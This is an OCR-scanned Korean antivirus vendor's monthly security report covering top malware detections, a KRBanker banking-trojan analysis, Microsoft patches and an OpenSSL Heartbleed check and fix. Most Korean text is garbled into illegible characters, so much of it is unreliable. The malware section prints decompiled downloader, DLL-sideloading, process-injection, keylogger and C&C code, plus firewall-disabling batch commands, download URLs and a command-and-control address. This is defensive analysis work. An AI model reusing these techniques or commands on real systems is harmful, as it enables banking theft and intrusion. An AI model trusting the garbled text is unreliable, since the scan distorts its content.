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Part1. 1182 2MdTACE EH

1.2483E S

48 AdIZ=TOP15

8 AEIE Top 15= ASALPCOIM BXE ST ES 7[RI = AHE5H SAHOI.

20143 11E2] 24 AETE Top 150M= AHE 29E XIXRLE Misc KeygenO| 2THA| L2t 491S XEX[et A 2i0l= 25 Top 15

| AEN XS SHol= I Eek= HO| FFHTUTHFZ0IC 191E XIXISH Misc.Suspicious.NTZ2| B2, F9FE0| EXHstH 28T =2
20| HEE + U= SYEUSFAERILNXPL OIFX7 | O] HES)S U HLAS0| SSHSE Soll XIS AI0|20|C, 291E XIX[et
AHT 2 AR FE|AE BV 53 Sl BAIE HdIEE, AEA S8 EE EFl Aoz I 2T =0|Cf 645 E] 142{00k=
SAETRIHXE AT5h= QYT EJHAZ Top 15 2| AE0N SESH AT FFEDISHRE0|C,

=7 S5 9qg3ic T3 7|2 ARSI
1 NEW Misc.Suspicious.NTZ Trojan 24565
2 NEW Gen:Trojan.Heur2.GZ @B1abSIfZIi0 Trojan 5276
3 NEW Gen:Trojan.Heur2,GZ@B1abmm3gzmO Trojan 898
4 132 Misc.Keygen Trojan 848
5 NEW Trojan.Generic,12070677 Trojan 659
6 NEW Hosts.banking.shinhanbank.com Host 593
7 NEW Hosts.banking.shinhanbank.co.kr Host 593
8 NEW Hosts.www.shinhanbank.com Host 592
9 NEW Hosts.shinhanbank.co.kr Host 592
10 NEW Hosts.shinhanbank.com Host 592
11 NEW Hosts.www.shinhanbank.co.kr Host 592
12 NEW Hosts.www.hana.kr Host 591
13 NEW Hosts.www.hana.co.kr Host 591
14 NEW Hosts.hana.co.kr Host 591
15 NEW Gen:Variant.Zusy.103708 Trojan 590
A =g, A0 AREAS] HBEAIS St LSt =Y 20149 118 01™ ~ 20144 118 30
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Part2.1182| 2d3E 0|

Spyware.PWS.KRBanker.M

Sk HAO|ES ¢ AT REYA0| X|FoliM S7I61LL UL SHA= Ft 8 MHE 37Xz 0IZ5IL HE2= AIdTIES
FESI 7 2E AT s =71 22 A0 T, MEAE S4, 222~ AE 23, a0, 28 85 25 S 0= 771
EMetct. Olgfet I ES 2 KSH2 = BES US| HLS 22l AIZAIE £017| 2igt 7[BE =710 | AR,

m

o]

P FEE DAOIM RIEHSH SB4 220/01S 015101 Oty IAS HAI7|= MBS WS ASSHT ULk XIZHK| 4
R QIEIEH AR KIS0 SIKIDL 0] oY FELE FA TS 085101 O TS AAI7 = WS 0/S5kD Tk 3t
RHEO| B20] AHZSHT 9U DA S B20[0fe} 2 T2 21 OIS 310) AIBXIZ B10i2 TS &2 51 2100 it
Bi7} OALEIC kM RA TR 0|B5101 Ot SIS SH= T S0 Chah HT501 MBS S22 OlsH5t CHHIEH TR 7} ct
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H > H O
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vi4 = (int)L"PotPlayer.dll";
uid = &u38[2 = vi2 - ( _DWORD)L"PotPlayer.dll™];
do
{
u15 = %( WORD =)uik;
ull += 23
%( WORD *)&u13[uis - 2] = vi5;
;
while { v15 );
;
L_18:
Colnitialize(0);
uil6 = sub_4819BA(8u);
if ( vi6 )
i
v17 = LoadLibraryW(&LibFileName);
v = (int)L"PotPlayer.dll";
v = &ui2[2 = vé - (_DWORD)L"PotPlayer.d1l1l"];
do
{
w18 = *({ WORD *)uB;
*({ WORD =)&u9[vB8] = =({ UWORD =)ug;
F ug += 2;
{3
while { vi8 );
¥ heme™), this.directory):
BEL_9:
Colnitialize(0);
v13 = (HMODULE =)operator new(8u);
if ( v13 )
{

vih = ((int (_ stdcall =){char =))j_LoadLibraryA_0)(v31);
Th1S.l0C&LFATN.MKALYS () ;

}

[212] H4& PotPlayerMini.exe ZE(E)2t 20| 0|8 360siom.exe ZE(2) H|d

Es TSﬂﬂ' %EEEFEIU\'I copyright by Estsoft Corp.All rights reserved.
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2. 941 E =Mk

http://www.fXXXX.kr
L, http://www.nygXXXX.co.kr/FCK_FS/pop/index.html F st Hl AIO|EE S5t FXIE

L http://et-pXXXX.co.kr/data/1.exe (Downloader)
t http://23.80.246XXXX/kbs.exe (Banker)
http://23.80.246XXXX/yk.exe (Downloader)
t http://98.126.7 1XXXX/Lie.exe (Backdoor)
http://23.80.246XXXX/360siom.exe (Normal PE)

[12!3] ¥18 =3l Drive-by download 24|22 §3

1.exe

| Drop & &%
C:WWINDDWSWUB]ikE;be (Fobeka.bat & &)

| Drop
CWWINDOWSWFobeka.bat (LS AL2SK|)

| Download = 4i3H
C:WWINDOWSWV3lie kaiVM LIKE.exe (=kbs.exe)

| Download = 4icH

C:WWINDOWSHV3liekWQVMLIKEss.exe (=yk.exe)

yk.exe < 360siom.exe
| Download \ Load DLL
CWWINDOWSWAdhex#V3like Ink (=Lie.exe) C:WWINDOWSWAdhexWPotPlayerd||
| Drop l L

CHWINDOWSWAGhexWv3like tit svchostexe (V3likenk £ Q1% )

Ol 3
C:WWINDOWSWAdhexWPotPlayerdll (=V3like.txt)
Download = 4lsH

W

C:WWINDOWSWAdhexW360siom.exe (=360siom.exe)

[ 24] SEE EE Sl JH Ad1E A3

Es Tsnft %ﬂ%@ﬂﬂi’i copyright by Estsoft Corp.All rights reserved.
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orMdmtel 244(1.exe)

PRI Drive-by download IO & ¥ Soll REE|H, £ 7|52 Downloader O|LCt,
push S00000040
push §
push offset aHttp23 88 246 ; "http://
push 1 ; DWORD
mov eax, 2
mow ebx, offset _Download_
call j_ebx_
push offset aHttp23 80 24 0 ; "http:// "
push 1 » DUWORD
mov eax, 2
mov ebx, offset Download_
call j_ebx_

[185] 21 48 88 2% 22

0= NPKI ECIE H0tA o5 LIS 2/F = RETIH.

1pMem = *C It ;

Search_NPKI(&lpHem);

if { lpHem )
j__check_somethin_(lplem);

1pHem = ""D:=W#";

Search_NPKI(&lpHem);

if { lpHem )
j__check_somethin_{lpHlen);

1pHem = ""E:W4"";

Search_NPKI(&lpHem);

if { lpHMem )
j__check_somethin_{lpHen});

1pMem = *F k" ;

[J2l6] NPKI &0 ZHA

1 20l ARZEZ O QVMLIKE.exe S5, U2t 27 oflM|2t 22 XSXQ S4S Rt &8 288 A

push offset aCWindowsU3liekQumlike_e ; "C:WWINDDWSHWU31iekWHQUMLIKE .exe"
push 88008804h

push a
push offset aSoftwareMicros ; "SOFTUAREHHHMicrosoftitilindowsi#CurrentlUersi™. ..

push 80000301h I

push 8 aSoftwareiicros db “SOFTWAREWMicrosoftWWindowsH#CurrentUersionWRun[ EXPLBRER] ' ,8
push 4 : DATA XREF: main__ +2ETo

push 3 » 1lpPathHame

mow ebx, offset Set Req Startup

call J_EBX

[2E7] AEZEZ2T QVMLIKE exe S8

ESTSﬂft Q'I } @EIL‘\" copyright by Estsoft Corp.All rights reserved.
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/7)) Fobeka.bat - 2%

ngR) #HEE MA0O) E2721Vv) EZZH)

net stop sharedaccess
netsh firewall set opmode disable

Y,

[228] Wt 3

ESTsuft %‘ﬂ%@EE‘l copyright by Estsoft Corp.All rights reserved,
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ordmiel B M (yk.exe)
Z=Q 7= DownloaderO|C}. 1.exe DI} ZH2 AH{0f|A] IHUS L2 BH=LC},

push 80000004h

push §

push offset aHttp23 88 246 ; "hittp:// | e =
push 1

mou eax, 1

mow ebx, offset Download_file_ URL

call j__EBX
push 80000004h

push §

push offset aHttp23 80 24 8 ; "http:// ¥ o
push 1

mov eax, 1

mowv ebx, offset Download_file_ URL

call j__EBX

[129] 2% &8 B8 3R LI2EE

CA\\WINDOWS\\Adhex =40 360siom.exe2} Lie.exeE 2] 1 360siom.exeE 4

st

Hyk.exe=

Z2EICt S0[3 L 625

Adhex 20 XHIE ANIEH = Z10|Ct yk.exes X[&X01 SH2IE SFX| Z=LCt
push 800003061h
push §/
push 60800 s 6 s
push 1
mov ebx, offset j_Sleep_
call j_ebx_
add esp, 168h
push 800000064h
push §/
push offset aCWindowsAdhex ; “C:WHWINDOWSW#Adhex™
push 1
mov ebx, offset j_remove_
call j_ebx_

[22110] 62H Adhex & A5

Es TSﬂﬂ' %EEEFEIU\'I copyright by Estsoft Corp.All rights reserved.
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ormie! E4(360siom.exe - Potplayerdl)

360siom.exe= DAIL| SF4 S2i(0]0] el st Oi0|C) Ha&O 2PotPlayerdilE 2 =KD Ea OH0| OfH oFE4TE
PotPlayerdll?} 2=FILC,

v8 = (int)L"PotPlayer.dll";

v9 = KU28[2 = vH - (_DWORD)L'PotPlayer.dll™];
do

{

U180 = ={ WORD =)u8;
#{ WORD =)&u9[uB8] = =({ UWORD =)vu8;

vg += 2;

b

while ( vi0 );
}

.ABEL_9:

Colnitialize(MNULL);
vi1 = (HMODULE =)operator new(8u);
if {( vi11 )
{

w12 = ((int (_stdcall =){char =))LoadLibraryW)(v27);
#y11 = (HMODULE)u12:
#(({_BYTE =)u11 + 4) = vi2 = 0;

[12111] PotPlayer.diIl i3 £21 & 22

Ol

TS =0 AR T1I0| QR[S CIIE2{0) DLLIIYUS Slolsin RESIC) 5 242 CRE20j PotPlayerdll TSt QICte T 2
Mz} Q0| 2E & ASE)= O[Tt

r

J
]
El

| etyIiY Ohe2E CYER

PotPlayerdll 2AHZE &4

I
@)
A
360siom.exe
(PotPlayerdll 2E)
PotPlayer.dll

‘ (g o)
HE0| 0|F0f XA && I

PotPlayerdll(2f4d) £EC

[2212] AMTYS 2E AlF|= T

2 0% PotPlayerdllOfl I3 CHS ZX0] X17| KHAIS SASH KIS X! O SHOIS FIsHSt 4 Q| BICH 2AL TIUHS 2L Al
QIHIo| HIZ Tt KA PHECH

--u88;
-—y88;
CopyFileA{lpExistingFileName, lpHewFileHame, 8);// Copy
// PotPlayer.dll -> C:WProgram FilesWU3likeWPotPlayer.dll

/7 36Bsiom.exe -> C:WProgram FilesWU3likeWU3like.exe
/74 U31like.lnk -> C:WProgram FilesWU3likeWU31like.lnk

b
ui3d = "U31like";
uB7 = 656;

[2213] 4T3 C 24l

ESTSﬂﬂ' %‘ﬂ%@EE‘l copyright by Estsoft Corp.All rights reserved,
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Ol++

22| Z=0] V3likeOlE

n

o= ECIE 4

HEH » EZ C)A3 (C) » Program Files » V3like

MaI1, PotPlayerdlS M2Jgt LIHX| OiY 0|5

£ V3like= HZASIC}

= V3lika Zax e

x|

T gHojEgg|of =& - = i - M Z=0 = « [ @l
e ~ 0l ST T 8% 37|
g CH2EC @] PotPlayer.dIl 2014-11-20 2= 2SS =2 &% 88KB
Bl S St [> v3like.exe 2014-11-20 R=. 28 S=]]& FTKE
E =2 9 7| V3like 2014-11-20 @=.. HIE 7}7| 128KE
= 2Ho| =gz
= 24
B o2 -
) 3N 5
[O&14] 2ALE 9HHIE

DE TjUo| AP} EL

HH XSS

SHoll HXIAER] ARE 203 Z=20| SSEAIZICE

memcpy{&Subkey,
u19 = ={ WORD *)"n

us = 1strlenA(&st
RegSetUalueExA{ph
uB7 = 692;

sub_481380{&vav);

Fing);

kResult, "U3like",

“SOF TWAREWHMicrosof t#WindowstCurrentVersionti#Run'”

Heg[lpEI'IHE'yH{HHE\'_L[II]HL_M'I:IBHIHE, &SubKey, &phkResult});

8, 2u,

/#/ Create_Reg
'y

£/ HELM#SOFTWAREWMicrosoftiindowsCurrentVersiontRuntU3like

s Bx2Cu);

{const BYTE =)&String, u5S);

// C:WProgram FilesWU3like®U31like .exe

VBB += N4;
vl = guB9;
[2315] ASHH HRXNAER S5
OlzHe] HX|AER| Z20f V3like 2= 0|22 SEE|H, YTt AIRHE! T} QMY TSI} KHEQ 2 MBIt
— L  —— -
oz® #HEE 2N SAZE/|A) E=TH
-} Parental Controls ~|| o= == G 0| B
- |, Personalization ab](71=278) REG.SZ (ZH A of =
s e oo ab]Sunlavallpdate.. REG_SZ "C:#Program FilesCommon Files#tlavatlava Up...

, Pol

R Rel

-
—

> | RenamefFiles
, Run
; RunCnce
, SettingSync
Setup

b - ). PnPSysprep

icies

. PreviewHandlers
, PropertySystem

iability
4

-

B Ve

ab|\Mware User Pr... REG_SZ

REG_EXPAND _5Z

CProgram Fileswv3likewv3like exe
"C:¥Program FilessvMwarewvMware Toolsfvmit...

<

Ll

[(816] SEE HXAES

1?,.Eﬂ'anh:E"r‘ LOCAL_ MACHINEWSDFI‘WAREWMcru:rsnftwmndnwsw[:urrent‘l.-fersmnﬁ'mun

ESTSﬂﬂ' Eél:ﬂ%ﬁ:fEﬂkl copyright by Estsoft Corp.All rights reserved.
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EEXO S OPNTCT I HAF Y HXIAERISE S2ote LIRS H2Jah 53 Of2het 21Tt

QLI SAE= E= AlEt D20 YXAED] F=2

%PROGRAM_FILES%\V3like [E=]
— PotPlayerdll HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
L \/3like.exe [Z24]
= V3like.Ink V3like = %PROGRAM_FILES%\V3like\V3like.exe

[(H1] o€ 327} OfY SAH Y HXAEZ N SEdh= 32

O]= AMH]A 20| AHEE]= svchost.exe ZEM| AN ZE S S V3likeInkIH Y LT EX6k= A4l ZES 71420,

v18 = CreateFileA{lpFileMHame, OxCO0000806u, 3u, NULL, 3u, 08x86u, NULL);

v9 = vui0; /f U3like.lnk
if ( vi8 = (HANDLE)-1 )
{
nNumber0fBytesToRead = GetFileSize(v18, HULL);
v2hy = 8;
if { n <= nNumberOfBytesToRead )
{
v/ = operator new__ {(nHumberOfBytesToRead);
if ( v7 )
{

memset({(void =)v7, 8, nNumberOfBytesToRead);
if ( ReadFile(v9, (LPUOID)v7, nHumberOfBytesToRead, &nNumberOfBytesToRead, HNULL) )
{

sub_401B08{(v7, nHumberOfBytesToRead});

u8 = operator new__ (nHumberOfBytesToRead);

[2217] V3like.lnkIIY2 LHES 210 2= &

ESTSﬂﬂ' %‘ﬂ%@EE‘l copyright by Estsoft Corp.All rights reserved,
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svchost.exe Z2MIAZ SUSPEND AEHZ AHAGHT C21}) 20| T E QIMME A|E5HC}

CreateProcessA(
MULL , // suchost.exe
(LPSTR)&unk_ 410FAC + 844,
&ProcessAttributes,
&ThreadAattributes,
1,
hu,
HULL,
HULL,
&StartupInfo,
&ProcessInformation);
hThread = ProcessInformation.hThread:
memcpy{&Context, &unk 4%108CEB, sizeof{(Context));
1 = ProcessInformation.hProcess;
GetThreadContext{ProcessIinformation.hThread, &Context);
ReadProcessMemory{v1, (LPCUDID)Context.Eax, &Buffer, 4u, NULL);
v?2 = GetModuleHandleA{{(LPCSTR)&unk _418FAC + 856);
dword 314714 = (int ( stdcall =){ DWORD, DWORD}))GetProcAddress{v?, (LPCSTR)&unk 410FAC + B866);
dword_414714(v1, Buffer);
v21 = lpBuffer;
if ( tlpBuffer )
FatalAppExitA(®, (LPCSTR)&unk_410FAC + 887);
vd = GetHModuleHandleA{(LPCSTR)&unk 4%18FAC + 906) ;
dword_ 414718 = (int)GetProcAddress{vi, (LPCSTR)&unk_410FAC + 916);
v2@ = (LPUDID)Y{{int { stdcall =){LPUDID))dword 414718)(1pBuffer);
if ( tv2o )
FatalAppExitA({B®, (LPCSTR)&unk_W10FAC + 933);
lpBasefAddress = UirtualAllocEx{v1, *{{LPUDID =)v208 + 13), =({ DWORD =)u28 + 20), 0x3008u, Hu);
WriteProcessMemory{v1, lpBaseAddress, lpBuffer, ={{ DWORD =)uv28 + 21), HULL);// Code_injection
U188 = (char #*)u20 + *{{ WORD =*)u20 + 10) + 24;
uly = B;

[12118] svchost.exe ZEM|A 3 8 HETE A

CIHIMO| ELHH svchost.exe ZEM|AN| MZE A5 ThreadE Allic= WAIC = AlX| M7 ARFEICE svchost.exes

0

V3like lnkS AlsHgH= T 2 AM|A H&Ht 28HSH |
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obdml B M(svchost.exe)

D NATHEHEH LT AFEAP R[S LS FHARICE O FdA =1 T2 A| =L #4101 Cfet F54=t F =71 GO
ST SAlSH HLI0f| Tioll F==ts +&ol= SEE 71X
v10 = Search_process_("KSafeTray.exe");
if ( vig )
{
v12 = WinExec('taskkill /f /im KSafeTray.exe", 0);
sub_100801450(v12, a1, a2, {(int)&u24, (int)v?, B);
return 0;
[2219] ¥ 253}
ThreadS Yot ALEAP| &i=ol= HI0EIE §3 | M7= 7|=8(key logging)/ Is& et
vi2 = CreatekEventA(B, 6, @8, @8);
v8 = beginthreadex{(al, a2, sub_108080CF98, &runc keylog, a5, a6);
WaitForSingleObject{v12, OxXFFFFFFFFu);
CloseHandle{(uvi1Z);
[1320] 7120 48 &=
AIEAPL 7|2 E2 Yot BESS key =HIA SERZ A|AH SE0| S, Ol XMEE LIES =2t 57| /ol Xor Bi.

v28 = CreateFileA(&FileName, Bx40000000u, 2u, 0, 4u, 6x80u, 0);
NumberO0fBytesWritten = 8; f// ZSYSTEMZWRandom.Key
if { GetFileSize(u28, B8) < B8x32000008 )

SetFilePointer{v28, 8, 8, 2u);

v32 = 1strlenA{lpString);
udl = vdl;
u29 = operator new(u32);
udb = u29;
if ( v31 > 8 )
{
v33 = (const CHAR =){1lpString - v29);
do
{
*( BYTE =)u29 = »{ BYTE =){{_DWORD)v33 + (_DUWORD)v29) T BR62;
w29 = {char =)u29 + 1; /7 NOR Bx62
--u31;
¥
while ( v31 );
¥

w35 = 1strlenA(lpString);
WriteFile{v28, v36, v35, &NumberOfBytesWritten, 0);
return CloseHandle{v?28);

[3&21] 7123 &%

7 |27 MEE= T2 #Xl= CEat 2L

MEL]
- %SYSTEM%\Random key

[H] 7120 HEYEE
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AT 7|27 4

[

2 35020C08key |

Off=et (h)

00000000
00000010
00000020
00000030
00000040
00000050
00000060
Q0000070
Q0000080
Q0000030
Q00000A0

00 03

AE
42
39
03
16
L1
SA
Br
16
0l

06

-1
57
3F
42
ocC
D3
5B
15
=le
Q9

07

58
5B
6F
4F
07
DE
58
15
1
0

oe
3F
58
1
L ¥
16
g6
57
13
-1
sE

09

50
52
39
35
42
58
5B
L Lo
19
27

[O322] &5 7|27 I

OR

52
&F
D3
0B
27
3F
58
18
15
oc

0B

53
68
g8
oc
1A
50
53
OF
15
16

oc

=6
39

06
12
52
53
4C
4C
o7

oD

4F
Ab
go
oD
OE
53
6F
0l
03
10

OE

53
B8
58
15
oD
56
68
oD
OE
sC

S531E siEH CH3L 20| 7|20 LS

Ijas HH OhEd 20| f=2ell0] Q0 i8S

oF
50

3F

11

10
4F
39
OF
1B
er

81015}7| BSCt

i

an9~GptX?PRSVOSP
QOZBB[XW[XRohg! &
X795 [?70h90 " ®EX?

. .ch9 OPtX?PRSVO
SPOZBEB [XW[X5Scho
L) & JAP A A
b PRI T . TR AN
L PR .

omYE IO MAOQ 270 =2ZH
<Enter> =
2l | Google - Windows Internet Explorer
pIdE 1 ]2014-12-8 10:8:52
[2E :lwww, zum, com<Enter>
l 2l 45 1] System32
[ 1 ]2014-12-8 10:9:19
2 E :]ecc[CTAL]
218 2| Program Manager
pIE 1 ]2014-12-8 10:9:20
DE :]v[CTAL]
| ﬁlﬁf System32
pIE :|2014-12-8 10:9:38
|[2& :]ceee [CTRL) ceo [CTRL]
»14%= 1| Program Manager
E'T%= P014-12-8 10:9:41
2= :]v[CTAL]

[

1323 858 EH 7|21

oie AT = XSHO=E (R(C2Y

HAD
BH==

Al=otrt CRCRFE| FK0| dSotH AAREEESE HHiC,

DOMAIN = ipaddress;
PORT = (int)byte_10081ESBC;

break;
DOMATH = dword_1001E940;
PORT = (int)&unk_10B1E63C;

break;
DOMAINM = Localhost;
PORT = (int)&Port_2013;
¥

w12 = GetTickCount();
v13 = GetTickCount();

sub 100096B06(

7/ pmm Lt Lt el il
/f 7988

if ( (unsigned  int8)Connect_CnC_{(unsigned int)byte_ 1801E5BC, ipaddress) )

ff 127.8.06.1
/f 2013

if { (unsigned  int8)Connect_CnC_{((unsigned int)&unk_1061E63C, dword 1001E948) )

ff 127.08.06.1
/f 2013

while { *{unsigned _ int8)Connect_CnC_({unsigned int)&Port_2813, Localhost) );
sub_180031EB{0, B8, {(const CHAR =)Bx438, B8, 0);

Send_Sysinfo{&dwHilliseconds, &vu22, vi13 - vi12, vi8);

[22124) CaCHE
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- H& M =02l
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61.33.155.99
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TCP 7988

[H2] C&C M HE
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HERZ 50| SSH2= 0|F0 X|H 22| 7|s& Al

- Tkl AR
- B AfX
-T2t O)5
- Tpe! 4
- Tl 24

- O A MM

(B3] 2715
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1122 22t Of5+

- OTP QIS7 1, =323 20N =3 EHME2 2 HHEC
20745 Sl B B2 USIZHIUHS(OTP) QISYT7} LHASE| SSZRIRIOR T2 OECS, 0[] T2} Qo2 BE
SAIOIA LG OTPL| SE10I5 23t T3t FSHOIAAT A0 SSAHRIO R FH7} HHIC

- ZIXFEE DHIQY MHIA HOKY 2 oj25)
QUM YR = F5I 2, SS7 10| £010F 2 '2HHY FAPERAME|A 22 XIES 716, EHt HAFES 20| #E5l= 2T EQY0{0] Chal
JHUTAHRE AFOHIY T2 72 7[ES 2fF HZ6H0F S SRUCL O/H AR HOtF0| [MEC} 90% Ol FOMK| L MEAH L=
EOHFIEM . tHE517 | ~EolE THO T,

- LIERE SIS A NPKI SEO| X% Xttt
SIRQISMAUTIRO|S|= L =2E SQ1215ME NPKI E CHAl SWEIEZ0| MASHLT $FICE T2t WESE M2 S20ISME
oot M2, ALE Ti= HIEA] SWERIEZ| XZ5H0F 5HH, AFSAR  SWEIEZE S U2HEA| 28 S2IISAM7t 2igElX| =Lt O[0
A= LHARE 2= S2UAS7 [0 SWEIEZO0| &t HHEE| ) PCLY NPKIED A4S 2655] QI0H, EQrdit Holds R S506t=
AHMICH Q1T2t2 1ZHE S0 9P 7|8 Z10[211 Bt

- QE|EIA M| O, LHLA 12 X
128 2SS HRIZSH2H 0| T/ 7IZT MOJH QEHTRY ok SHI T, HRIZSE0H i SO L8 S B2 HAZS TS T
WY 32 |TII%C O[of M2 LI 1RISIE] QIE W2 S HXIZS R ALSXIQ) BTS RAHE HE|SA HOMT 2 I3 Mx|ojne
THEIOIA ARIBHO SBALS0| MR 8742 QA ZRIS KHSHO.E DR1g 4 Q| SRt

- SRS JHOIMEIAT] O AfRLEICL

USSLPE2= 128 2242 HRIEE FZ 710|=21QIS LHANC, 0|42 22i2U0|A 0|1F0{X|= HUEE 4, 018, M5, It7| Zxt THo| 2%
2= AS0M SSHLE HEE=710|E2RI2F, EAO(E 0|8 Al Mu|ALL FRTHNRIEE =8, 0[8 325 ZHoiHL -2 E oAl Al 3AHA|
HEEES IAXO 2 FO|2 dh= 2sH0)| HiS0| 2™ MU0\

o

- SIHE AMAN| ‘BEZANE &9
DRRIE TSI ‘SADTMHIA HIT JHHEIOPS DI5HD, 1285E] ARSSHIT S Ol REXKTAY ZRIES 30719 S RROMER
ZEfSHT, ARIS ATSHs AP [IHS O57| I3t ZX(O[CH Of0]| M2t ZEXRIZAIRIXIO| ZAIE ZE10| 2X|S|T, EAIHE AMH|A HZXL}
0f2i5t BEZMES OIBXIOIA| HIZ3HOF SICt 012 HE A4, EAISMHIAS S5+ 27} HXIECt

I'HJ

- JEHS X NARUX} XPE-411 QtelH EE 30002
DEfEZ A= 7|92 BEES SAEH & 5438 7ol E284Y 08T X 2 S S0i| et ©EN ME YEES MUK AIH, IS
2025 H At HRH. S2E S 211 MY X|F, LI0H0F ol= MBA= slidRds S5t 2258 902 0|U0| SEE= HEAS
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- LIESE "SS210[miof'0fl Ot0|C], IHA L= = EICH
Ol2i S L7 2t et 8RS R, 0l5SH 3A= TE=H22 70000710 Zot= & 2A0[M0|2] EPts F=iol/| #/oi0 USALAE S TRi=
Ol 0|21 &L XI5 2321 1P BI0] 2f0[I[0 0] B 7HSotX|T USAIAES RISHH 010 |C|2t THAAES I={oljOf BHCt 0] 2USA|IAH
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1190] Fjoky

Microsoft 112 ™7| 22t HH|0|E

- Windows OLE2| £ R QI #1Z T = 43 2| (3011443)
O] £t HHI0|E= HISZHE2 2 B 11 Microsoft Windows ZHA| HZ 2 et (OLE)O| TSt F2fH 2 242 4 UL sHE FUE2 2 26k
AMEXI7t 4614 ZZFE OLE 7HAIE Z&tsl= Microsoft Office IAUS E 2R 2 T = HHO| LSt = USLICEH FoFE 480 H3et 34Xt
SiX) AF2AIC] HEIAEN|M Q|2 FEE ASHS! A QI Tt SX| AF2AP} R2|K} HEIC 2 27701 3 A ZZXH= T 2 232 MX|5HH H0|H
SEALHE, AH|, = 2|} EHE0| Qs M APE TS sk USUCE AJASI0] TSt AFSX} Het0| HA| LEE AlES 42 22X HTle =2
ZI215H= AFEAL0] HIshAM = HEFE HA| WL

- Internet Explorer & % H2t A|0|E(3003057)
0| E2F AH|0|E= Internet Explorer®iiA EAE|N HISIHELE HIE FOFY 1721S shE&UM. 71 d2fet F2FE2 ASAPt Internet Ex-
plorerE AtEst0] S0 A& ¥ HO|XIE & 4% B4 1= 2= o1&8 + USUL. F4E U0 g5 S4Xt= S ArgA1et S
Hohs g5 = USUCL ALE0 tieh AFSAL Eet0| A A& E AlZS 142 Sefit Het2 = 2 gol= 12400 Hloi = KA 2sU.

- Schannel2] FFHO 2 QISH 217 TE &3 BHIF(2992611)
0] £2t HL|0|E= Windows2| Microsoft H2t & (Schannel) 22F 17 [X|= HIS/HWHL 2 E1E FOFHS SHARILC 0] FUH2Z 2lsH
SAX7t Windows A0 S50 ZA1eH IS U= 39 S8 ZE 30| e o AUSLLL

- XML Core Services2| FA4HOZ QIS 224 I Al 2X| (2993958)
0| H2t HH|0|E= Microsoft windows0| FEO 2 Q15 2725 AFEXAP} ExplorerS QIE4Y S8 MSXML (Microsoft XML Core Services)0|
ST S S0 RAE E AO|E EEois 3% #4 IV 2dE 5 UsUCEL 2L et 0| SHA= ZHI=E ArEAP Ol e ¢
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@ (@Y MHE SAXZ QBT LO|(H/TH 64KB)2HS B 22|0§A HO|E S
FE50] SEX0H 29
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- A, HIERS, HOF EH| S2| AIAE0[AM OpenSSL 2| GF =L

- EHAH2 B2 ME EH2IE 2E5H= AL T EE thalof 2t

- ME £ : mail.example.com, blog.example.com S

- MARE ROt AT ERIM HiF AU OpenSSL 2(0|E=212)/ LFEE s 35 B 212l = 34 U0l 28
FoAE = 0 =0l WY

- H20{E S5 OpenSSL ™ HE 201

- opensslO| FXIE AAZ0IM O HEHHE Yot FE| FeF L= HTES AEoH=A| 22

root@server:~# openssl version -a
OpenSSL 1.0.1 14 May 2012
| HA ST BE |

OpenSSL SHEH|E(HeartBeat) 443t 05 2121
- F2fst HEI2| OpenSSLE AHESH= AIAR] & HeartBeat 7 |S AFE 05 =2
+ F2ret HEI0| HeartBeatS AtSoHX| 5= 8% FUT S 2| =

WY (T HZ(1.01g)2 st HEE 2RIEHEHR fI5)

root@server~= openssl s_dient —connect domaincomA43 -tkextdebug —debug -state | grep
i heartbeat

x 0] A8l W domain.com0il B A URL HEZ 7
% HeartBeat 7|S0| #d2t=l0] U= B2 heartbeat TAIE0| HAE

TLS server extension “heartbeat” (id=13), len=1

0000 - 01

read from 0x95c¢b888 [0x95d0e33] (5 bytes => 5 (0x5))

0000 =16 03 02 Db Ok
read from O0x95cb888 [(x95d0e38) (3020 bytes => 3020 OxBCC))

0000 - Ob 00 Ob c8 00 Ob ¢5 00-05 9d 30 82 05 99 30 82
0010 - 04 81 a0 03 02 01 02 02-08 11 bb ec db 00 00 39
0020 - d0 30 Od 06 09 2a 86 48-86 f7 0d 01 01 05 05 00
0030 - 30 5e 31 Ob 30 09 06 03-55 04 06 13 02 4b 52 31

0040 - 12 30 10 06 03 55 04 0a-0Oc 09 43 72 6f 73 73 43

Y
o d
o
041.0..U.__KR1

0.U._CrossC

% HeartBeat 7150| 24381=|X| 42 A heartbeat SAFE0| AME|X| LS

TLS server extension "session ticket® (id=35), len=0
read from 0x9349888 [0x934ee33] (5 bytes => 5 (0x5))
0000 - 16 03 02 13 &f

read from 0x9349888 [0x934ee38] (4975 bytes => 4975 (Ox136F)

el

OpenSSLOIA ArEot= AATE 240!
- OpenSSL FH0| BdlE 2ATES
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- INXFE B E0M= Ol 20] AFSAT 28 HIAIX|N| tist 2018 &

ARBSI=S T 1S

';JF.'JEJE_T'_H copyright by Estsoft Corp.All rights reserved,

D

Sofl F<2F 05



Part3. 22t 0|+ EH7|

#%H Ac(ssl/d1_both.) =0t ix A=Esl/d1 both.)
/~ Read type and payload length first %

if(1+ 2 + 16 > s-»s3->rrec length)
retum O

hbtype = “p++; hbtype = "p++;
n2s(p, payload); n2s(p, payload);
pl = B f({l+ 2 + payload + 16 >
§->53->rrec length)
retum O
pl = p
- EH
ofl Z2&

(AAE S OIS 2oh

OpenSSL HZEE 1.01g HESE YH|0|E

AMb|A 23280 OE A ER|0 2/Ed XIS 1150t Y0 L= 8ol BIEA| BN HIAE 20

- OF2ff E2t x| W2 CentOS/Fedora % Ubuntu?| OfH|2 Zf 2EA|H| HE HE|0|E YHH0| Ho[& +~ AU
CentOS/Fedora

- TIH| AIARY 0| E(OpenSSLS Z8is A|AR L{2| AT EL0 HE HH|0|E)

yum update

OpenSSL SH|0|E

sudo pacman -Syu

Ubuntu
TR AAE] HOI0|E (OpenSSLS et A|AR LHS| AT EL0 2 HOI0E)

sudo apt-get update
sudo apt-get dist-upgrade

OpenSSL H|0|1E

sudo apt-get install --only-upgrade openssl
sudo apt-get install --only-upgrade libssl1.0.0

2FeE E4d TE0H 17 [X| HEf2| HCI0[E7t 01242 Z R, HeartbeatE ALESIK| RS ALY S48 HH0HH XiEM 7Hs
* OpenSSL 22T ES A5 LIZE0 sk 8% 20222 =8 AP 2800 =/HE21 K70 Eatt 3252 4

Jeonfig -DOPENSSL_NO_HEARTBEATS
make depend

make

make install
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(HIEI3 5Ot ZH| £01 TS o

2oFE B2 IX| Y RICH I X8

- Of2}2] Snort X B(rule)g ZTSI01 HUSIRINAR U ZRIRICH AIARIO THE §IE[0|E X4 #1
- RICHIHE RS2 MHIA 9 WIEYT FHTES 1245101 X8

[OpenSSL HeartBeat <58 B X| Snort Rule]

- SSL MU ZEO fs] 54 a3 UEEC 18 03 71| A fH

